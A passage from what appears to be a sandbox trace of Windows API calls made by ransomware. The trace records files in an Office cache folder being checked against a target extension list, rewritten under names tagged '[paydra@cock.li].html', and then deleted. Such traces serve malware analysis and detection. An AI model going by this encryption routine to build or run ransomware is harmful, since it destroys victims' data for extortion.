Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0034.738] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml")) returned 1 [0034.738] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0034.738] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0034.738] lstrlenW (lpString=".doc") returned 4 [0034.738] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.738] lstrlenW (lpString=".docx") returned 5 [0034.738] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.738] lstrlenW (lpString=".pdf") returned 4 [0034.738] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.738] lstrlenW (lpString=".xls") returned 4 [0034.738] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.738] lstrlenW (lpString=".xlsx") returned 5 [0034.738] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.738] lstrlenW (lpString=".ppt") returned 4 [0034.738] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.738] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0034.738] lstrlenW (lpString=".zip") returned 4 [0034.738] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.738] lstrlenW (lpString=".rar") returned 4 [0034.738] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.738] lstrlenW (lpString=".bz2") returned 4 [0034.738] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.738] lstrlenW (lpString=".7z") returned 3 [0034.738] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.738] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0034.739] lstrlenW (lpString=".dbf") returned 4 [0034.739] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.739] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0034.739] lstrlenW (lpString=".1cd") returned 4 [0034.739] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.739] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0034.739] lstrlenW (lpString=".jpg") returned 4 [0034.739] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.739] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0034.739] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0034.739] lstrlenW (lpString=".doc") returned 4 [0034.739] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.739] lstrlenW (lpString=".docx") returned 5 [0034.739] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.739] lstrlenW (lpString=".pdf") returned 4 [0034.739] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.739] lstrlenW (lpString=".xls") returned 4 [0034.739] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.739] lstrlenW (lpString=".xlsx") returned 5 [0034.739] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.739] lstrlenW (lpString=".ppt") returned 4 [0034.739] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.739] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0034.739] lstrlenW (lpString=".zip") returned 4 [0034.739] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.739] lstrlenW (lpString=".rar") returned 4 [0034.739] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.739] lstrlenW (lpString=".bz2") returned 4 [0034.739] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.739] lstrlenW (lpString=".7z") returned 3 [0034.739] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.739] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0034.739] lstrlenW (lpString=".dbf") returned 4 [0034.739] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.740] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0034.740] lstrlenW (lpString=".1cd") returned 4 [0034.740] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.740] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0034.740] lstrlenW (lpString=".jpg") returned 4 [0034.740] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.740] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0034.740] lstrlenW (lpString="Setup.xml") returned 9 [0034.740] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0034.740] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=1452) returned 1 [0034.740] CloseHandle (hObject=0x19c) returned 1 [0034.740] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0034.740] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0034.740] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0034.741] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.741] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.741] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0034.741] GetLastError () returned 0x0 [0034.741] ReadFile (in: hFile=0x19c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x5ac, lpOverlapped=0x0) returned 1 [0034.743] WriteFile (in: hFile=0x1a4, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0034.744] ReadFile (in: hFile=0x19c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0034.744] WriteFile (in: hFile=0x1a4, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0034.744] SetEndOfFile (hFile=0x1a4) returned 1 [0034.744] CloseHandle (hObject=0x1a4) returned 1 [0034.744] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.744] SetEndOfFile (hFile=0x19c) returned 1 [0034.745] CloseHandle (hObject=0x19c) returned 1 [0034.745] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0034.745] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0034.746] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.746] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.746] lstrlenW (lpString=".doc") returned 4 [0034.746] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.746] lstrlenW (lpString=".docx") returned 5 [0034.746] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.746] lstrlenW (lpString=".pdf") returned 4 [0034.746] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.746] lstrlenW (lpString=".xls") returned 4 [0034.746] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.746] lstrlenW (lpString=".xlsx") returned 5 [0034.746] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.746] lstrlenW (lpString=".ppt") returned 4 [0034.746] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.746] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.746] lstrlenW (lpString=".zip") returned 4 [0034.746] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.746] lstrlenW (lpString=".rar") returned 4 [0034.746] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.746] lstrlenW (lpString=".bz2") returned 4 [0034.746] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.746] lstrlenW (lpString=".7z") returned 3 [0034.746] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.746] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.746] lstrlenW (lpString=".dbf") returned 4 [0034.746] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.746] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.746] lstrlenW (lpString=".1cd") returned 4 [0034.746] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.746] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.746] lstrlenW (lpString=".jpg") returned 4 [0034.746] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.747] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.747] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.747] lstrlenW (lpString=".doc") returned 4 [0034.747] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.747] lstrlenW (lpString=".docx") returned 5 [0034.747] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.747] lstrlenW (lpString=".pdf") returned 4 [0034.747] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.747] lstrlenW (lpString=".xls") returned 4 [0034.747] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.747] lstrlenW (lpString=".xlsx") returned 5 [0034.747] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.747] lstrlenW (lpString=".ppt") returned 4 [0034.747] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.747] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.747] lstrlenW (lpString=".zip") returned 4 [0034.747] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.747] lstrlenW (lpString=".rar") returned 4 [0034.747] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.747] lstrlenW (lpString=".bz2") returned 4 [0034.747] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.747] lstrlenW (lpString=".7z") returned 3 [0034.747] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.747] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.747] lstrlenW (lpString=".dbf") returned 4 [0034.747] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.747] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.747] lstrlenW (lpString=".1cd") returned 4 [0034.747] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.747] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.747] lstrlenW (lpString=".jpg") returned 4 [0034.747] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.748] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0034.748] lstrlenW (lpString="branding.xml") returned 12 [0034.748] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0034.749] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=596341) returned 1 [0034.749] CloseHandle (hObject=0x19c) returned 1 [0034.749] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml")) returned 0x2020 [0034.749] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0034.749] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0034.749] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.749] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.749] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0034.749] GetLastError () returned 0x0 [0034.749] ReadFile (in: hFile=0x19c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x91975, lpOverlapped=0x0) returned 1 [0034.788] WriteFile (in: hFile=0x1a4, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x91980, lpOverlapped=0x0) returned 1 [0034.800] ReadFile (in: hFile=0x19c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0034.800] WriteFile (in: hFile=0x1a4, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xec, lpOverlapped=0x0) returned 1 [0034.800] SetEndOfFile (hFile=0x1a4) returned 1 [0034.800] CloseHandle (hObject=0x1a4) returned 1 [0034.807] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.807] SetEndOfFile (hFile=0x19c) returned 1 [0034.812] CloseHandle (hObject=0x19c) returned 1 [0034.812] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0034.813] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml")) returned 1 [0034.813] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0034.813] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0034.813] lstrlenW (lpString=".doc") returned 4 [0034.813] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.813] lstrlenW (lpString=".docx") returned 5 [0034.813] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0034.813] lstrlenW (lpString=".pdf") returned 4 [0034.813] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.813] lstrlenW (lpString=".xls") returned 4 [0034.813] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.813] lstrlenW (lpString=".xlsx") returned 5 [0034.813] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0034.813] lstrlenW (lpString=".ppt") returned 4 [0034.813] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.813] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0034.813] lstrlenW (lpString=".zip") returned 4 [0034.813] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.813] lstrlenW (lpString=".rar") returned 4 [0034.813] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.813] lstrlenW (lpString=".bz2") returned 4 [0034.813] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.813] lstrlenW (lpString=".7z") returned 3 [0034.813] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.813] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0034.814] lstrlenW (lpString=".dbf") returned 4 [0034.814] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.814] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0034.814] lstrlenW (lpString=".1cd") returned 4 [0034.814] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.814] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0034.814] lstrlenW (lpString=".jpg") returned 4 [0034.814] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.814] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0034.814] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0034.814] lstrlenW (lpString=".doc") returned 4 [0034.814] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.814] lstrlenW (lpString=".docx") returned 5 [0034.814] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0034.814] lstrlenW (lpString=".pdf") returned 4 [0034.814] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.814] lstrlenW (lpString=".xls") returned 4 [0034.814] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.814] lstrlenW (lpString=".xlsx") returned 5 [0034.814] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0034.814] lstrlenW (lpString=".ppt") returned 4 [0034.814] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.814] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0034.814] lstrlenW (lpString=".zip") returned 4 [0034.814] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.814] lstrlenW (lpString=".rar") returned 4 [0034.814] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.814] lstrlenW (lpString=".bz2") returned 4 [0034.814] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.814] lstrlenW (lpString=".7z") returned 3 [0034.814] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.814] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0034.814] lstrlenW (lpString=".dbf") returned 4 [0034.814] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.814] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0034.815] lstrlenW (lpString=".1cd") returned 4 [0034.815] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.815] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0034.815] lstrlenW (lpString=".jpg") returned 4 [0034.815] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.815] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0034.815] lstrlenW (lpString="OfficeMUI.xml") returned 13 [0034.815] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0034.815] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=5557) returned 1 [0034.815] CloseHandle (hObject=0x19c) returned 1 [0034.815] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml")) returned 0x2020 [0034.815] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0034.815] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0034.815] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.816] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.816] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0034.816] GetLastError () returned 0x0 [0034.816] ReadFile (in: hFile=0x19c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x15b5, lpOverlapped=0x0) returned 1 [0035.098] WriteFile (in: hFile=0x1a4, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x15c0, lpOverlapped=0x0) returned 1 [0035.099] ReadFile (in: hFile=0x19c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0035.099] WriteFile (in: hFile=0x1a4, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xee, lpOverlapped=0x0) returned 1 [0035.099] SetEndOfFile (hFile=0x1a4) returned 1 [0035.099] CloseHandle (hObject=0x1a4) returned 1 [0035.100] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.100] SetEndOfFile (hFile=0x19c) returned 1 [0035.101] CloseHandle (hObject=0x19c) returned 1 [0035.101] SetFileAttributesW (lpFileName="C:\\MSOCache\\All 